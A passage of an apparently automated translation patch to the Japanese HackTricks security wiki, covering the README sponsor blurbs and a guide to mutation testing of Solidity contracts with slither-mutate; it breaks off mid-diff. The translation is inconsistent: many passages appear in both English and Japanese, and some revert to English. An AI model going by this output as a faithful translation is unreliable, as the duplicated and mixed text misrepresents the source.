From c4713f10cc44d86340a73c4b0b4496aa7a094d9b Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 12:20:42 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/ruby-tri --- src/README.md | 163 ++++- src/SUMMARY.md | 2 +- .../mutation-testing-with-slither.md | 103 ++- .../privilege-escalation/README.md | 671 +++++++++--------- .../socket-command-injection.md | 22 +- ...ry-untrusted-search-path-cve-2025-41244.md | 110 +-- .../pentesting-web/ruby-tricks.md | 119 +++- .../pentesting-web/vmware-esx-vcenter....md | 6 +- src/pentesting-web/file-inclusion/README.md | 319 +++++---- src/pentesting-web/race-condition.md | 147 ++-- src/welcome/hacktricks-values-and-faq.md | 126 ++-- theme/ai.js | 1 + theme/ht_searcher.js | 9 +- 13 files changed, 993 insertions(+), 805 deletions(-) diff --git a/src/README.md b/src/README.md index 01057e430..84711f462 100644 --- a/src/README.md +++ b/src/README.md @@ -2,7 +2,7 @@
-_HackTricks のロゴとモーションデザイン制作:_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ +_Hacktricks のロゴとモーションデザインは_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._ ### HackTricks をローカルで実行する ```bash @@ -31,17 +31,25 @@ export LANG="master" # Leave master for english # Run the docker container indicating the path to the hacktricks folder docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0" ``` -ローカルの HackTricks は **[http://localhost:3337](http://localhost:3337)** で <5 分後に利用可能になります(ブックのビルドが必要です。少々お待ちください)。 +Your local copy of HackTricks will be **available at [http://localhost:3337](http://localhost:3337)** after <5 minutes (it needs to build the book, be patient). -## 企業スポンサー +あなたのローカルのHackTricksは <5 分以内に **[http://localhost:3337](http://localhost:3337)** で利用可能になります(書籍のビルドに時間がかかるので、しばらくお待ちください)。 + +## Corporate Sponsors ### [STM Cyber](https://www.stmcyber.com)
-[**STM Cyber**](https://www.stmcyber.com) は優れたサイバーセキュリティ企業で、スローガンは **HACK THE UNHACKABLE** です。彼らは独自に研究を行い、独自の hacking tools を開発して、pentesting、Red teams、training といった **複数の価値あるサイバーセキュリティサービスを提供しています**。 +[**STM Cyber**](https://www.stmcyber.com) is a great cybersecurity company whose slogan is **HACK THE UNHACKABLE**. They perform their own research and develop their own hacking tools to **offer several valuable cybersecurity services** like pentesting, Red teams and training. -彼らの **ブログ** は [**https://blog.stmcyber.com**](https://blog.stmcyber.com) で確認できます +[**STM Cyber**](https://www.stmcyber.com) はスローガンが **HACK THE UNHACKABLE** の優れたサイバーセキュリティ企業です。独自のリサーチを行い、自社のハッキングツールを開発して、pentesting、Red teams、トレーニングなどの**価値の高いサイバーセキュリティサービス**を提供しています。 + +You can check their **blog** in [**https://blog.stmcyber.com**](https://blog.stmcyber.com) + +彼らの**ブログ**は [**https://blog.stmcyber.com**](https://blog.stmcyber.com) でご覧いただけます。 + +**STM Cyber** also support cybersecurity open source projects like HackTricks :) **STM Cyber** は HackTricks のようなサイバーセキュリティのオープンソースプロジェクトも支援しています :) @@ -51,7 +59,9 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
-[**RootedCON**](https://www.rootedcon.com) は **スペイン** で最も重要なサイバーセキュリティイベントで、**欧州** でも屈指の大会です。**技術知識の普及を使命とし**、この会議はあらゆる分野の技術・サイバーセキュリティ専門家にとって活発な交流の場です。 +[**RootedCON**](https://www.rootedcon.com) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. + +[**RootedCON**](https://www.rootedcon.com) は **スペイン** で最も重要なサイバーセキュリティイベントであり、**ヨーロッパ** においても最も重要な大会の一つです。**技術知識の普及を使命** とし、このカンファレンスはあらゆる分野の技術者やサイバーセキュリティ専門家が集まる熱い交流の場です。 {{#ref}} https://www.rootedcon.com/ @@ -63,9 +73,13 @@ https://www.rootedcon.com/
-**Intigriti** は **Europe's #1** の ethical hacking かつ **bug bounty platform** です。 +**Intigriti** is the **Europe's #1** ethical hacking and **bug bounty platform.** -**Bug bounty tip**: **Intigriti** にサインアップして、hackers によって作られたプレミアムな **bug bounty platform** を活用しましょう![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加して、最大 **$100,000** のバウンティを獲得し始めましょう! +**Intigriti** は **ヨーロッパでNo.1** のエシカルハッキングおよび **bug bounty platform** です。 + +**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! + +**Bug bounty tip**: ハッカーによって、ハッカーのために作られたプレミアムな **bug bounty platform**、**Intigriti** に**sign up**しましょう!今日 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** のバウンティを獲得しましょう! {{#ref}} https://go.intigriti.com/hacktricks @@ -78,9 +92,13 @@ https://go.intigriti.com/hacktricks
\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使って、世界で最も **advanced** なコミュニティツールによるワークフローを簡単に構築・**automate** できます。 +Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools. -今すぐアクセス: +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使えば、世界で最も**先進的な**コミュニティツールを活用して、ワークフローを簡単に構築し**自動化**できます。 + +Get Access Today: + +今すぐアクセスしてみてください: {{#ref}} https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks @@ -94,12 +112,20 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters! -- **Hacking Insights:** ハッキングのスリルや課題に踏み込んだコンテンツに触れられます -- **Real-Time Hack News:** リアルタイムのニュースやインサイトで速いテンポのハッキング界の情報を追えます -- **Latest Announcements:** 新しい bug bounty の開始や重要なプラットフォーム更新の情報を受け取れます +[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーや bug bounty ハンターと交流しましょう! + +- **Hacking Insights:** Engage with content that delves into the thrill and challenges of hacking +- **Real-Time Hack News:** Keep up-to-date with fast-paced hacking world through real-time news and insights +- **Latest Announcements:** Stay informed with the newest bug bounties launching and crucial platform updates + +- **Hacking Insights:** ハッキングのスリルと課題に踏み込むコンテンツに参加 +- **Real-Time Hack News:** リアルタイムのニュースと洞察で変化の速いハッキング界の最新情報をキャッチ +- **Latest Announcements:** 最新のbug bounty開始情報や重要なプラットフォーム更新を受け取る **Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! +**Discord** 上で参加して、トップハッカーと協力を始めましょう! + --- ### [Pentest-Tools.com](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons) - The essential penetration testing toolkit @@ -108,7 +134,11 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to **Get a hacker's perspective on your web apps, network, and cloud** -**Find and report critical, exploitable vulnerabilities with real business impact.** 20 を超えるカスタムツールを使ってアタックサーフェスをマップし、権限昇格を許すセキュリティ問題を発見し、automated exploits を使って必要な証拠を収集し、あなたの作業を説得力のあるレポートに変換します。 +**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. + +**Webアプリ、ネットワーク、クラウドに対してハッカー視点を得ましょう** + +**実際のビジネス影響を与える重大で悪用可能な脆弱性を発見して報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、権限昇格を許すセキュリティ問題を発見し、自動化されたエクスプロイトで重要な証拠を収集して、頑張りを説得力のあるレポートに変換します。 {{#ref}} https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -120,14 +150,23 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi** は検索エンジン結果へ迅速かつ簡単にリアルタイムでアクセスするための API を提供します。検索エンジンのスクレイピング、プロキシ処理、キャプチャの解決、リッチな構造化データの解析を代行します。 +**SerpApi** offers fast and easy real-time APIs to **access search engine results**. They scrape search engines, handle proxies, solve captchas, and parse all rich structured data for you. -SerpApi のプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex など、さまざまな検索エンジンをスクレイピングする 50 以上の異なる API にアクセスできます。\ -他のプロバイダとは異なり、**SerpApi doesn’t just scrape organic results**。SerpApi のレスポンスには常に広告、インライン画像や動画、Knowledge Graph など検索結果に含まれる全ての要素や機能が含まれます。 +**SerpApi** は検索エンジン結果に**リアルタイムでアクセスできる**高速で簡単なAPIを提供します。検索エンジンのスクレイピング、プロキシの処理、キャプチャの解決、そしてリッチな構造化データの解析を代行します。 -現在の SerpApi の顧客には **Apple, Shopify, and GrubHub** が含まれます。\ -詳細は彼らの [**blog**](https://serpapi.com/blog/)**,** または [**playground**](https://serpapi.com/playground) でサンプルを試してみてください。\ -[**ここ**](https://serpapi.com/users/sign_up) で無料アカウントを作成できます。 +A subscription to one of SerpApi’s plans includes access to over 50 different APIs for scraping different search engines, including Google, Bing, Baidu, Yahoo, Yandex, and more.\ +Unlike other providers, **SerpApi doesn’t just scrape organic results**. SerpApi responses consistently include all ads, inline images and videos, knowledge graphs, and other elements and features present in the search results. + +SerpApi のサブスクリプションには、Google、Bing、Baidu、Yahoo、Yandex など、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIへのアクセスが含まれます。\ +他のプロバイダとは異なり、**SerpApi はオーガニック結果だけをスクレイピングするわけではありません**。SerpApi のレスポンスには一貫して広告、インライン画像や動画、ナレッジグラフ、検索結果に含まれるその他の要素や機能が含まれます。 + +Current SerpApi customers include **Apple, Shopify, and GrubHub**.\ +For more information check out their [**blog**](https://serpapi.com/blog/)**,** or try an example in their [**playground**](https://serpapi.com/playground)**.**\ +You can **create a free account** [**here**](https://serpapi.com/users/sign_up)**.** + +現在の SerpApi の顧客には **Apple、Shopify、GrubHub** などが含まれます。\ +詳細は彼らの [**blog**](https://serpapi.com/blog/) をご覧いただくか、[**playground**](https://serpapi.com/playground) で例を試してみてください。\ +[**こちら**](https://serpapi.com/users/sign_up) から**無料アカウントを作成**できます。 --- @@ -135,7 +174,9 @@ SerpApi のプランに加入すると、Google、Bing、Baidu、Yahoo、Yandex
-モバイルアプリケーションとデバイスを保護するための脆弱性調査、penetration testing、reverse engineering に必要な技術とスキルを学びます。オンデマンドコースで iOS と Android のセキュリティを習得し、**認定** を取得しましょう: +Learn the technologies and skills required to perform vulnerability research, penetration testing, and reverse engineering to protect mobile applications and devices. **Master iOS and Android security** through our on-demand courses and **get certified**: + +脆弱性リサーチ、penetration testing、リバースエンジニアリングを行い、モバイルアプリやデバイスを保護するために必要な技術とスキルを学びます。オンデマンドコースで**iOS と Android のセキュリティを習得**し、**認定**を取得しましょう: {{#ref}} https://academy.8ksec.io/ @@ -147,13 +188,21 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) は **アムステルダム** に拠点を置くプロフェッショナルなサイバーセキュリティ企業で、**世界中** の企業を最新のサイバー脅威から守るために、**offensive-security services** をモダンなアプローチで提供しています。 +[**WebSec**](https://websec.net) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach. -WebSec はアムステルダムとワイオミングにオフィスを持つ国際的なセキュリティ企業です。彼らは **all-in-one security services** を提供しており、Pentesting、**Security** Audits、Awareness Trainings、Phishing Campagnes、Code Review、Exploit Development、Security Experts Outsourcing など幅広く対応します。 +[**WebSec**](https://websec.net) は **アムステルダム** に拠点を置くプロのサイバーセキュリティ企業であり、**モダンな**アプローチで **offensive-security services** を提供することで、世界中の企業を最新のサイバー脅威から**保護**する手助けをしています。 -WebSec のもう一つの特徴は、業界平均とは異なり彼らが自分たちのスキルに**非常に自信を持っている**ことで、その自信は提供する成果物の品質保証にも表れており、ウェブサイトには「**If we can't hack it, You don't pay it!**」と記載されています。詳細は彼らの [**website**](https://websec.net/en/) と [**blog**](https://websec.net/blog/) をご覧ください。 +WebSec is an intenational security company with offices in Amsterdam and Wyoming. They offer **all-in-one security services** which means they do it all; Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing and much more. -さらに、WebSec は HackTricks の **献身的なサポーター** でもあります。 +WebSec はアムステルダムとワイオミングにオフィスを持つ国際的なセキュリティ企業です。彼らは **all-in-one security services** を提供しており、Pentesting、**Security** Audits、Awareness Trainings、Phishing Campaigns、Code Review、Exploit Development、Security Experts Outsourcing など幅広く対応します。 + +Another cool thing about WebSec is that unlike the industry average WebSec is **very confident in their skills**, to such an extent that they **guarantee the best quality results**, it states on their website "**If we can't hack it, You don't pay it!**". For more info take a look at their [**website**](https://websec.net/en/) and [**blog**](https://websec.net/blog/)! + +さらに興味深い点として、業界平均とは異なり WebSec は**自分たちのスキルに非常に自信を持っており**、そのために**最高品質の結果を保証する**とされています。ウェブサイトには「**If we can't hack it, You don't pay it!**」と記載されています。詳細は彼らの [**website**](https://websec.net/en/) と [**blog**](https://websec.net/blog/) をご覧ください! + +In addition to the above WebSec is also a **committed supporter of HackTricks.** + +上記に加え、WebSec は HackTricks の**熱心なサポーター**でもあります。 {{#ref}} https://www.youtube.com/watch?v=Zq2JycGDCPM @@ -165,10 +214,15 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
venacus logo
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) はデータブリーチ (leak) 検索エンジンです。\ -大規模なものだけでなくあらゆる種類のデータ leak を対象に、ランダム文字列検索(google のような)を提供します — 複数ソースからのデータを横断検索します。\ -人、AI、組織、API (OpenAPI) アクセス、theHarvester 統合など、pentester に必要な全ての機能を備えています。\ -**HackTricks は私たち全員にとって素晴らしい学習プラットフォームであり、スポンサーとして支援できることを誇りに思います!** +[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) is a data breach (leak) search engine. \ +We provide random string search (like google) over all types of data leaks big and small --not only the big ones-- over data from multiple sources. \ +People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, all features a pentester needs.\ +**HackTricks continues to be a great learning platform for us all and we're proud to be sponsoring it!** + +[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) はデータ侵害 (leak) の検索エンジンです。\ +大手から小規模まであらゆる種類のデータ leak を複数のソースから集め、ランダム文字列検索(Googleのような)を提供します。\ +People search、AI search、organization search、API (OpenAPI) アクセス、theHarvester 統合など、pentester に必要な機能がすべて揃っています。\ +**HackTricks は私たちにとって引き続き素晴らしい学習プラットフォームであり、スポンサーを務められることを誇りに思います!** {{#ref}} https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons @@ -182,13 +236,24 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons **Built for the field. Built around you.**\ -[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) は業界の専門家が構築・指導する効果的なサイバーセキュリティトレーニングを提供します。彼らのプログラムは理論を超えて、実践的な脅威を反映したカスタム環境を用い、チームに深い理解と実行可能なスキルを身につけさせます。カスタムトレーニングの問い合わせは [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) へ。 +[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) develops and delivers effective cybersecurity training built and led by +industry experts. Their programs go beyond theory to equip teams with deep +understanding and actionable skills, using custom environments that reflect real-world +threats. For custom training inquiries, reach out to us [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks). + +**現場のために作られ、あなたのために設計されています。**\ +[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) は業界の専門家が設計・指導する実践的なサイバーセキュリティトレーニングを開発・提供しています。彼らのプログラムは理論を超え、実世界の脅威を反映したカスタム環境を用いてチームに深い理解と実行可能なスキルを提供します。カスタムトレーニングの問い合わせは [**こちら**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks) からご連絡ください。 **What sets their training apart:** * Custom-built content and labs * Backed by top-tier tools and platforms * Designed and taught by practitioners +**彼らのトレーニングの特長:** +* カスタム作成されたコンテンツとラボ +* 一流のツールとプラットフォームによるサポート +* 実務家による設計と指導 + {{#ref}} https://cyberhelmets.com/courses/?ref=hacktricks {{#endref}} @@ -199,13 +264,27 @@ https://cyberhelmets.com/courses/?ref=hacktricks
lasttower logo
-Last Tower Solutions は **Education** と **FinTech** 機関向けに特化したサイバーセキュリティサービスを提供しており、特に **penetration testing、cloud security assessments**、および **compliance readiness**(SOC 2、PCI-DSS、NIST)に注力しています。私たちのチームには **OSCP and CISSP certified professionals** が在籍し、深い技術的専門知識と業界標準の知見を各案件にもたらします。 +Last Tower Solutions delivers specialized cybersecurity services for **Education** and **FinTech** +institutions, with a focus on **penetration testing, cloud security assessments**, and +**compliance readiness** (SOC 2, PCI-DSS, NIST). Our team includes **OSCP and CISSP +certified professionals**, bringing deep technical expertise and industry-standard insight to +every engagement. -自動スキャンを超えた、重要度の高い環境向けにカスタマイズされた **manual, intelligence-driven testing** を提供します。学生記録の保護から金融取引の保護まで、組織が最も重要視するものを守るお手伝いをします。 +Last Tower Solutions は **教育機関** と **FinTech** 機関向けに特化したサイバーセキュリティサービスを提供しており、特に **penetration testing、cloud security assessments**、および **compliance readiness**(SOC 2、PCI-DSS、NIST)に注力しています。私たちのチームには **OSCP および CISSP 認定の専門家** が在籍しており、各案件に深い技術的専門知識と業界標準の洞察をもたらします。 + +We go beyond automated scans with **manual, intelligence-driven testing** tailored to +high-stakes environments. From securing student records to protecting financial transactions, +we help organizations defend what matters most. + +自動スキャンだけでなく、ハイリスク環境に合わせた**手動でのインテリジェンス駆動のテスト**を提供します。学生記録の保護から金融取引の保護まで、重要なものを守るお手伝いをします。 _“A quality defense requires knowing the offense, we provide security through understanding.”_ -最新のサイバーセキュリティ情報は彼らの [**blog**](https://www.lasttowersolutions.com/blog) をご覧ください。 +_「質の高い防御は攻撃を知ることを要する。私たちは理解を通じてセキュリティを提供します。」_ + +Stay informed and up to date with the latest in cybersecurity by visiting our [**blog**](https://www.lasttowersolutions.com/blog). + +最新のサイバーセキュリティ情報は私たちの [**blog**](https://www.lasttowersolutions.com/blog) でご確認ください。 {{#ref}} https://www.lasttowersolutions.com/ @@ -215,11 +294,15 @@ https://www.lasttowersolutions.com/ ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/) -
k8studio logo
+
k8studio logo
-K8Studio IDE は DevOps、DevSecOps、開発者が Kubernetes クラスターを効率的に管理、監視、保護するのを支援します。AI 駆動のインサイト、高度なセキュリティフレームワーク、直感的な CloudMaps GUI を利用してクラスターを可視化し、状態を把握し、自信を持って行動できます。 +K8Studio IDE empowers DevOps, DevSecOps, and developers to manage, monitor, and secure Kubernetes clusters efficiently. Leverage our AI-driven insights, advanced security framework, and intuitive CloudMaps GUI to visualize your clusters, understand their state, and act with confidence. -さらに、K8Studio は **すべての主要な kubernetes distributions**(AWS, GCP, Azure, DO, Rancher, K3s, Openshift など)と互換性があります。 +K8Studio IDE は DevOps、DevSecOps、開発者が Kubernetes クラスターを効率的に管理、監視、保護できるよう支援します。AI駆動のインサイト、高度なセキュリティフレームワーク、直感的な CloudMaps GUI を活用してクラスターを可視化し、状態を把握し、自信を持って対処できます。 + +Moreover, K8Studio is **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more). + +さらに、K8Studio は **主要なすべての kubernetes ディストリビューション**(AWS、GCP、Azure、DO、Rancher、K3s、Openshift など)に**対応**しています。 {{#ref}} https://k8studio.io/ @@ -228,15 +311,19 @@ https://k8studio.io/ --- +## License & Disclaimer + +Check them in: + ## ライセンスと免責事項 -以下を参照してください: +詳細は以下を確認してください: {{#ref}} welcome/hacktricks-values-and-faq.md {{#endref}} -## GitHub 統計 +## Github Stats ![HackTricks Github Stats](https://repobeats.axiom.co/api/embed/68f8746802bcf1c8462e889e6e9302d4384f164b.svg) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 6d276923d..561fe52fb 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -950,4 +950,4 @@ - [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md) - [Post Exploitation](todo/post-exploitation.md) - [Investment Terms](todo/investment-terms.md) -- [Cookies Policy](todo/cookies-policy.md) \ No newline at end of file +- [Cookies Policy](todo/cookies-policy.md) diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md index ca0e3f88a..8dcbbe999 100644 --- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md +++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md @@ -1,14 +1,14 @@ -# Mutation Testing: Solidity向け Slither (slither-mutate) +# Mutation Testing for Solidity with Slither (slither-mutate) {{#include ../../banners/hacktricks-training.md}} -Mutation testing は、Solidityコードに小さな変更(mutants)を体系的に導入してテストスイートを再実行することで「テストをテスト」します。テストが失敗すればそのmutantはkillされます。テストが通り続ければmutantは生き残り、行/分岐カバレッジでは検出できないテストスイートの盲点を明らかにします。 +Mutation testing は、Solidity コードに小さな変更(mutants)を系統的に導入してテストスイートを再実行することで「テストをテスト」します。テストが失敗すればその mutant は排除されます。テストが通り続ければ mutant は生き残り、行/分岐カバレッジでは検出できないテストスイートの盲点を明らかにします。 -重要なポイント:カバレッジはコードが実行されたことを示すだけであり、Mutation testing は挙動が実際にアサートされているかを示します。 +重要なポイント: カバレッジはコードが実行されたことを示しますが、mutation testing は振る舞いが実際に検証されているかを示します。 -## なぜカバレッジは誤解を招くのか +## なぜカバレッジは誤解を招くか -次の単純な閾値チェックを考えてみましょう: +次のような単純な閾値チェックを考えてみてください: ```solidity function verifyMinimumDeposit(uint256 deposit) public returns (bool) { if (deposit >= 1 ether) { @@ -20,113 +20,92 @@ return false; ``` Unit tests that only check a value below and a value above the threshold can reach 100% line/branch coverage while failing to assert the equality boundary (==). A refactor to `deposit >= 2 ether` would still pass such tests, silently breaking protocol logic. -ミニマムとマックスの値だけをチェックするユニットテストは、等価境界(==)を検証していなくても行/分岐カバレッジを100%に到達できることがある。`deposit >= 2 ether` にリファクタリングしてもそのテストは通り続け、プロトコルのロジックを密かに破壊してしまう。 - Mutation testing exposes this gap by mutating the condition and verifying your tests fail. -ミューテーションテストは条件を変異させ、テストが失敗することを確認することでこのギャップを明らかにする。 - ## Common Solidity mutation operators Slither’s mutation engine applies many small, semantics-changing edits, such as: -- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc. -- Assignment replacement: `+=` → `=`, `-=` → `=` -- Constant replacement: non-zero → `0`, `true` ↔ `false` -- Condition negation/replacement inside `if`/loops -- Comment out whole lines (CR: Comment Replacement) -- Replace a line with `revert()` -- Data type swaps: e.g., `int128` → `int64` - -Slither のミューテーションエンジンは、小さく意味を変える多数の編集を適用します。例えば: -- 演算子の置換:`+` ↔ `-`, `*` ↔ `/` など -- 代入の置換:`+=` → `=`, `-=` → `=` -- 定数の置換:非ゼロ → `0`, `true` ↔ `false` +- 演算子置換: `+` ↔ `-`、`*` ↔ `/` など +- 代入置換: `+=` → `=`、`-=` → `=` +- 定数置換: 非ゼロ → `0`、`true` ↔ `false` - `if`/ループ内の条件の否定/置換 - 行全体をコメントアウト (CR: Comment Replacement) -- 行を `revert()` に置き換え -- データ型の入れ替え:例 `int128` → `int64` +- 行を `revert()` に置き換える +- データ型の差し替え: 例: `int128` → `int64` Goal: Kill 100% of generated mutants, or justify survivors with clear reasoning. -目標:生成されたミュータントを100%排除する、または生き残ったものを明確な理由で正当化すること。 - ## Running mutation testing with slither-mutate Requirements: Slither v0.10.2+. - List options and mutators: - -## slither-mutate を使ったミューテーションテストの実行 - -要件:Slither v0.10.2+。 - -- オプションとミューテータを一覧表示: ```bash slither-mutate --help slither-mutate --list-mutators ``` -- Foundry の例(結果をキャプチャして完全なログを保持する): +- Foundry の例 (結果を取得して完全なログを保持する): ```bash slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) ``` -- Foundry を使用していない場合、`--test-cmd` をテストを実行するコマンド(例: `npx hardhat test`, `npm test`)に置き換えてください。 +- Foundry を使用しない場合は、`--test-cmd` をテストの実行方法(例: `npx hardhat test`, `npm test`)に置き換えてください。 -Artifacts and reports are stored in `./mutation_campaign` by default. 検出されなかった(生存した)ミュータントは検査のためそこにコピーされます。 +Artifacts and reports are stored in `./mutation_campaign` by default. Uncaught (surviving) mutants are copied there for inspection. ### 出力の理解 -Report lines look like: +レポートの行は次のようになります: ```text INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT ``` -- 括弧内のタグは mutator のエイリアスです(例: `CR` = Comment Replacement)。 -- `UNCAUGHT` は変異した振る舞いの下でテストが合格したことを意味します → アサーションが不足している。 +- 角括弧内のタグはミューテータのエイリアスです(例: `CR` = Comment Replacement)。 +- `UNCAUGHT`は、ミューテーションされた振る舞いのもとでテストが通ったことを意味します → アサーションが欠けている。 -## Reducing runtime: prioritize impactful mutants +## 実行時間の短縮: 影響の大きいミューテントを優先する -Mutation campaigns は数時間〜数日かかることがあります。コストを削減するためのヒント: -- Scope: まずは重要な contracts/directories のみを対象にし、徐々に拡大する。 -- Prioritize mutators: 行上の高優先度の mutant が生き残った場合(例: 行全体がコメント化されるなど)、その行に対する低優先度のバリアントはスキップできる。 -- Parallelize tests if your runner allows it; cache dependencies/builds. -- Fail-fast: 変更が明確にアサーションの欠落を示している場合は早期に停止する。 +ミューテーションキャンペーンは数時間〜数日かかることがあります。コストを削減するためのヒント: +- スコープ: まず重要な contracts/directories に限定し、そこから拡大する。 +- ミューテータの優先順位付け: ある行で高優先度のミューテントが生き残った場合(例: 行全体がコメント化される)、その行の低優先度バリアントはスキップできる。 +- テストの並列化: runner が許せばテストを並列化し、依存関係/ビルドをキャッシュする。 +- Fail-fast: 変更が明らかにアサーションの抜けを示すときは早期に停止する。 -## Triage workflow for surviving mutants +## 生き残ったミューテントのトリアージワークフロー 1) 変異した行と振る舞いを検査する。 -- 変異行を適用してフォーカスしたテストを実行し、ローカルで再現する。 +- 変異行を適用してローカルで再現し、フォーカスしたテストを実行する。 -2) テストを強化して、返り値だけでなく state をアサートする。 -- 等価性や境界チェックを追加する(例: 閾値の `==` をテスト)。 -- ポストコンディションをアサートする: balances、total supply、authorization の効果、そして emitted events。 +2) テストを強化して、戻り値だけでなく状態をアサートする。 +- 等価性や境界チェックを追加する(例: テストで threshold `==` を確認)。 +- 事後条件をアサートする: 残高、総供給量(total supply)、認可の影響、発行されたイベントなど。 -3) 過度に許容的な mocks を現実的な振る舞いに置き換える。 -- mocks が transfers、failure paths、そして on-chain で発生する event emissions を強制することを確認する。 +3) 過度に許容的なモックを現実的な振る舞いに置き換える。 +- モックがオンチェーンで発生する転送、失敗経路、イベント発火を適切に再現するようにする。 -4) fuzz tests のために invariants を追加する。 -- 例: value の保存則、non-negative balances、authorization invariants、該当する場合の monotonic supply。 +4) fuzz テスト向けに不変条件(invariants)を追加する。 +- 例: 価値保存、負でない残高、認可に関する不変条件、該当する場合の単調増加する供給量。 -5) survivors が消えるか明示的に正当化されるまで slither-mutate を再実行する。 +5) 生き残りが潰されるか明確に正当化されるまで slither-mutate を再実行する。 -## Case study: revealing missing state assertions (Arkis protocol) +## ケーススタディ: 状態アサーションの欠如を明らかにする事例 (Arkis protocol) -Arkis DeFi protocol の監査中の mutation campaign で、次のような survivors が表面化しました: +Arkis DeFi プロトコルの監査中のミューテーションキャンペーンにより、以下のような生き残りが明らかになった: ```text INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT ``` -代入をコメントアウトしてもテストが壊れなかったため、事後状態のアサーションが欠如していることが証明された。根本原因:実際のトークン転送を検証するのではなく、ユーザー制御の `_cmd.value` を信用していた。攻撃者は期待される転送と実際の転送をずらして資金を流出させ得る。結果:プロトコルの支払能力に対する高リスク。 +代入をコメントアウトしてもテストは壊れず、事後状態に対するアサーションが欠如していることが証明された。根本原因:コードが実際のトークン転送を検証する代わりに、ユーザー制御の `_cmd.value` を信用していた。攻撃者は期待される転送と実際の転送をずらして資金を奪取できる。結果:プロトコルの支払い能力に対する高重大度のリスク。 -Guidance: 価値転送、会計、またはアクセス制御に影響する残存変異は、除去されるまで高リスクとして扱うこと。 +ガイダンス:値の移転、会計、またはアクセス制御に影響を与える生存したミュータントは、検出(killed)されるまで高リスクとして扱うこと。 -## 実践チェックリスト +## Practical checklist -- 対象を絞ったキャンペーンを実行: +- Run a targeted campaign: - `slither-mutate ./src/contracts --test-cmd="forge test"` -- 